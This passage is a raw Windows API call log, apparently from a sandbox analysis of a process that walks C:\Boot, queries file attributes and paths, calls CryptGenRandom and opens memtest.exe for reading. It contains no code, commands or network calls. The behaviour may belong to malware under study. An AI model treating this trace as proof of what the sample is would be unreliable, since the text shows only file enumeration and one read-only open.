ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0115.706] GetCurrentThreadId () returned 0x9b0 [0115.706] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325f830, Size=0xe8) returned 0x33d10b0 [0115.706] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0115.706] GetCurrentThreadId () returned 0x9b0 [0115.707] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0115.707] GetCurrentThreadId () returned 0x9b0 [0115.707] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0115.707] GetCurrentThreadId () returned 0x9b0 [0115.707] FindClose (in: hFindFile=0x10f7310 | out: hFindFile=0x10f7310) returned 1 [0115.707] GetCurrentThreadId () returned 0x9b0 [0115.707] GetFileAttributesA (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd")) returned 0x26 [0115.707] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0115.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0115.708] GetFileAttributesA (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log")) returned 0x26 [0115.708] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0115.708] GetCurrentThreadId () returned 0x9b0 [0115.708] GetFileAttributesA (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1")) returned 0x26 [0115.708] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e2a68 | out: hHeap=0x2ad0000) returned 1 [0115.708] GetFileAttributesA (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2")) returned 0x26 [0115.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e2a28 | out: hHeap=0x2ad0000) returned 1 [0115.709] GetCurrentThreadId () returned 0x9b0 [0115.709] GetFileAttributesA (lpFileName="C:\\Boot\\bg-BG" (normalized: "c:\\boot\\bg-bg")) returned 0x10 [0115.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0115.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0115.709] GetCurrentThreadId () returned 0x9b0 [0115.709] GetFileAttributesA (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0115.711] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e2968 | out: hHeap=0x2ad0000) returned 1 [0115.711] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881060, Size=0x20) returned 0x33ea7f0 [0115.711] GetFileAttributesA (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0115.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e2768 | out: hHeap=0x2ad0000) returned 1 [0115.713] GetCurrentThreadId () returned 0x9b0 [0115.713] GetFileAttributesA (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0115.714] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e2908 | out: hHeap=0x2ad0000) returned 1 [0115.714] GetFileAttributesA (lpFileName="C:\\Boot\\cs-CZ" (normalized: "c:\\boot\\cs-cz")) returned 0x10 [0115.714] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0115.714] GetCurrentThreadId () returned 0x9b0 [0115.714] GetFileAttributesA (lpFileName="C:\\Boot\\da-DK" (normalized: "c:\\boot\\da-dk")) returned 0x10 [0115.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0115.715] GetFileAttributesA (lpFileName="C:\\Boot\\de-DE" (normalized: "c:\\boot\\de-de")) returned 0x10 [0115.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0115.715] GetCurrentThreadId () returned 0x9b0 [0115.716] GetFileAttributesA (lpFileName="C:\\Boot\\el-GR" (normalized: "c:\\boot\\el-gr")) returned 0x10 [0115.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0115.716] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881078, Size=0x20) returned 0x33ea638 [0115.716] GetFileAttributesA (lpFileName="C:\\Boot\\en-GB" (normalized: "c:\\boot\\en-gb")) returned 0x10 [0115.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0115.717] GetCurrentThreadId () returned 0x9b0 [0115.717] GetFileAttributesA (lpFileName="C:\\Boot\\en-US" (normalized: "c:\\boot\\en-us")) returned 0x10 [0115.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0115.717] GetFileAttributesA (lpFileName="C:\\Boot\\es-ES" (normalized: "c:\\boot\\es-es")) returned 0x10 [0115.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0115.718] GetCurrentThreadId () returned 0x9b0 [0115.718] GetFileAttributesA (lpFileName="C:\\Boot\\es-MX" (normalized: "c:\\boot\\es-mx")) returned 0x10 [0115.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0115.719] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33ea638, Size=0x40) returned 0x38873c8 [0115.719] GetFileAttributesA (lpFileName="C:\\Boot\\et-EE" (normalized: "c:\\boot\\et-ee")) returned 0x10 [0115.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0115.720] GetCurrentThreadId () returned 0x9b0 [0115.720] GetFileAttributesA (lpFileName="C:\\Boot\\fi-FI" (normalized: "c:\\boot\\fi-fi")) returned 0x10 [0115.720] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0115.720] GetFileAttributesA (lpFileName="C:\\Boot\\Fonts" (normalized: "c:\\boot\\fonts")) returned 0x10 [0115.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0115.722] GetCurrentThreadId () returned 0x9b0 [0115.722] GetFileAttributesA (lpFileName="C:\\Boot\\fr-CA" (normalized: "c:\\boot\\fr-ca")) returned 0x10 [0115.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0115.723] GetFileAttributesA (lpFileName="C:\\Boot\\fr-FR" (normalized: "c:\\boot\\fr-fr")) returned 0x10 [0115.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0115.723] GetCurrentThreadId () returned 0x9b0 [0115.723] GetFileAttributesA (lpFileName="C:\\Boot\\hr-HR" (normalized: "c:\\boot\\hr-hr")) returned 0x10 [0115.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0115.724] GetFileAttributesA (lpFileName="C:\\Boot\\hu-HU" (normalized: "c:\\boot\\hu-hu")) returned 0x10 [0115.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0115.724] GetCurrentThreadId () returned 0x9b0 [0115.724] GetFileAttributesA (lpFileName="C:\\Boot\\it-IT" (normalized: "c:\\boot\\it-it")) returned 0x10 [0115.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0115.725] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38873c8, Size=0x64) returned 0x2a19888 [0115.725] GetFileAttributesA (lpFileName="C:\\Boot\\ja-JP" (normalized: "c:\\boot\\ja-jp")) returned 0x10 [0115.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0115.726] GetCurrentThreadId () returned 0x9b0 [0115.726] GetFileAttributesA (lpFileName="C:\\Boot\\ko-KR" (normalized: "c:\\boot\\ko-kr")) returned 0x10 [0115.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0115.727] GetFileAttributesA (lpFileName="C:\\Boot\\lt-LT" (normalized: "c:\\boot\\lt-lt")) returned 0x10 [0115.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0115.727] GetCurrentThreadId () returned 0x9b0 [0115.727] GetFileAttributesA (lpFileName="C:\\Boot\\lv-LV" (normalized: "c:\\boot\\lv-lv")) returned 0x10 [0115.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0115.728] GetFileAttributesA (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0115.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e2728 | out: hHeap=0x2ad0000) returned 1 [0115.728] GetCurrentThreadId () returned 0x9b0 [0115.728] GetFileAttributesA (lpFileName="C:\\Boot\\nb-NO" (normalized: "c:\\boot\\nb-no")) returned 0x10 [0115.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0115.729] GetFileAttributesA (lpFileName="C:\\Boot\\nl-NL" (normalized: "c:\\boot\\nl-nl")) returned 0x10 [0115.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0115.730] GetCurrentThreadId () returned 0x9b0 [0115.730] GetFileAttributesA (lpFileName="C:\\Boot\\pl-PL" (normalized: "c:\\boot\\pl-pl")) returned 0x10 [0115.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0115.731] GetFileAttributesA (lpFileName="C:\\Boot\\pt-BR" (normalized: "c:\\boot\\pt-br")) returned 0x10 [0115.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0115.731] GetCurrentThreadId () returned 0x9b0 [0115.731] GetFileAttributesA (lpFileName="C:\\Boot\\pt-PT" (normalized: "c:\\boot\\pt-pt")) returned 0x10 [0115.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0115.732] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19888, Size=0x8c) returned 0x2ac0e68 [0115.732] GetFileAttributesA (lpFileName="C:\\Boot\\qps-ploc" (normalized: "c:\\boot\\qps-ploc")) returned 0x10 [0115.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e2728 | out: hHeap=0x2ad0000) returned 1 [0115.733] GetCurrentThreadId () returned 0x9b0 [0115.733] GetFileAttributesA (lpFileName="C:\\Boot\\Resources" (normalized: "c:\\boot\\resources")) returned 0x10 [0115.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e28a8 | out: hHeap=0x2ad0000) returned 1 [0115.734] GetFileAttributesA (lpFileName="C:\\Boot\\ro-RO" (normalized: "c:\\boot\\ro-ro")) returned 0x10 [0115.734] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0115.734] GetCurrentThreadId () returned 0x9b0 [0115.734] GetFileAttributesA (lpFileName="C:\\Boot\\ru-RU" (normalized: "c:\\boot\\ru-ru")) returned 0x10 [0115.735] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0115.735] GetCurrentThreadId () returned 0x9b0 [0115.735] GetFileAttributesA (lpFileName="C:\\Boot\\sk-SK" (normalized: "c:\\boot\\sk-sk")) returned 0x10 [0115.735] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0115.736] GetFileAttributesA (lpFileName="C:\\Boot\\sl-SI" (normalized: "c:\\boot\\sl-si")) returned 0x10 [0115.736] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0115.736] GetCurrentThreadId () returned 0x9b0 [0115.736] GetFileAttributesA (lpFileName="C:\\Boot\\sr-Latn-CS" (normalized: "c:\\boot\\sr-latn-cs")) returned 0x10 [0115.737] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e28a8 | out: hHeap=0x2ad0000) returned 1 [0115.737] GetFileAttributesA (lpFileName="C:\\Boot\\sr-Latn-RS" (normalized: "c:\\boot\\sr-latn-rs")) returned 0x10 [0115.737] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e28a8 | out: hHeap=0x2ad0000) returned 1 [0115.738] GetCurrentThreadId () returned 0x9b0 [0115.738] GetFileAttributesA (lpFileName="C:\\Boot\\sv-SE" (normalized: "c:\\boot\\sv-se")) returned 0x10 [0115.744] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0115.744] GetFileAttributesA (lpFileName="C:\\Boot\\tr-TR" (normalized: "c:\\boot\\tr-tr")) returned 0x10 [0115.744] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0115.744] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0e68, Size=0xb8) returned 0x325f770 [0115.744] GetCurrentThreadId () returned 0x9b0 [0115.744] GetFileAttributesA (lpFileName="C:\\Boot\\uk-UA" (normalized: "c:\\boot\\uk-ua")) returned 0x10 [0115.745] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0115.745] GetFileAttributesA (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0115.746] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0115.746] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33ea7f0, Size=0x40) returned 0x38875c0 [0115.746] GetCurrentThreadId () returned 0x9b0 [0115.746] GetFileAttributesA (lpFileName="C:\\Boot\\zh-CN" (normalized: "c:\\boot\\zh-cn")) returned 0x10 [0115.747] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0115.747] GetFileAttributesA (lpFileName="C:\\Boot\\zh-HK" (normalized: "c:\\boot\\zh-hk")) returned 0x10 [0115.748] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0115.748] GetCurrentThreadId () returned 0x9b0 [0115.748] GetFileAttributesA (lpFileName="C:\\Boot\\zh-TW" (normalized: "c:\\boot\\zh-tw")) returned 0x10 [0115.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0115.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38878d8 | out: hHeap=0x2ad0000) returned 1 [0115.749] GetFullPathNameA (in: lpFileName="C:\\Boot\\BCD", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\BCD", lpFilePart=0x9bada4*="BCD") returned 0xb [0115.749] GetCurrentThreadId () returned 0x9b0 [0115.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0115.750] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0115.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0115.750] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0115.750] GetCurrentThreadId () returned 0x9b0 [0115.750] GetFullPathNameA (in: lpFileName="C:\\Boot\\BCD.LOG", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\BCD.LOG", lpFilePart=0x9bada4*="BCD.LOG") returned 0xf [0115.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0115.750] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0115.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0115.750] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0115.750] GetCurrentThreadId () returned 0x9b0 [0115.750] GetFullPathNameA (in: lpFileName="C:\\Boot\\BCD.LOG1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\BCD.LOG1", lpFilePart=0x9bada4*="BCD.LOG1") returned 0x10 [0115.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0115.751] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0115.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0115.751] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0115.751] GetCurrentThreadId () returned 0x9b0 [0115.751] GetFullPathNameA (in: lpFileName="C:\\Boot\\BCD.LOG2", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\BCD.LOG2", lpFilePart=0x9bada4*="BCD.LOG2") returned 0x10 [0115.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0115.751] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0115.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0115.751] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0115.751] GetCurrentThreadId () returned 0x9b0 [0115.751] GetFullPathNameA (in: lpFileName="C:\\Boot\\bootspaces.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\bootspaces.dll", lpFilePart=0x9bada4*="bootspaces.dll") returned 0x16 [0115.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0115.752] GetCurrentThreadId () returned 0x9b0 [0115.752] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0115.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0115.752] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0115.752] GetFullPathNameA (in: lpFileName="C:\\Boot\\BOOTSTAT.DAT", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\BOOTSTAT.DAT", lpFilePart=0x9bada4*="BOOTSTAT.DAT") returned 0x14 [0115.752] GetCurrentThreadId () returned 0x9b0 [0115.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0115.752] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0115.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0115.752] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0115.753] GetFullPathNameA (in: lpFileName="C:\\Boot\\bootvhd.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\bootvhd.dll", lpFilePart=0x9bada4*="bootvhd.dll") returned 0x13 [0115.753] GetCurrentThreadId () returned 0x9b0 [0115.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0115.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0115.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0115.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0115.753] GetCurrentThreadId () returned 0x9b0 [0115.753] GetFullPathNameA (in: lpFileName="C:\\Boot\\memtest.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\memtest.exe", lpFilePart=0x9bada4*="memtest.exe") returned 0x13 [0115.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0115.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0115.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0115.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0115.754] GetCurrentThreadId () returned 0x9b0 [0115.754] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0115.754] GetCurrentThreadId () returned 0x9b0 [0115.754] GetCurrentThreadId () returned 0x9b0 [0115.754] GetCurrentThreadId () returned 0x9b0 [0115.754] GetCurrentThreadId () returned 0x9b0 [0115.754] GetCurrentThreadId () returned 0x9b0 [0115.754] GetCurrentThreadId () returned 0x9b0 [0115.754] GetCurrentThreadId () returned 0x9b0 [0115.755] GetFileAttributesExA (in: lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0)) returned 1 [0115.755] GetCurrentThreadId () returned 0x9b0 [0115.755] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36628cc | out: pbBuffer=0x36628cc) returned 1 [0115.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0115.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0115.755] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0115.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea6b0 [0115.755] GetCurrentThreadId () returned 0x9b0 [0115.755] GetCurrentThreadId () returned 0x9b0 [0115.756] GetCurrentThreadId () returned 0x9b0 [0115.756] GetCurrentThreadId () returned 0x9b0 [0115.756] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea6b0 | out: hHeap=0x2ad0000) returned 1 [0115.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f69d8 [0115.756] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0115.756] CreateFileA (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0115.756] GetFileType (hFile=0x39c) returned 0x1 [0115.756] GetCurrentThreadId () returned 0x9b0 [0115.757] GetFileType (hFile=0x39c) returned 0x1 [0115.757] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.757] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.757] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.757] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.757] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.757] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.757] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.757] GetLastError () returned 0x0 [0115.757] GetCurrentThreadId () returned 0x9b0 [0115.757] GetLastError () returned 0x0 [0115.757] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69e8 | out: hHeap=0x2ad0000) returned 1 [0115.757] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e2808 | out: hHeap=0x2ad0000) returned 1 [0115.758] GetLastError () returned 0x0 [0115.758] GetLastError () returned 0x0 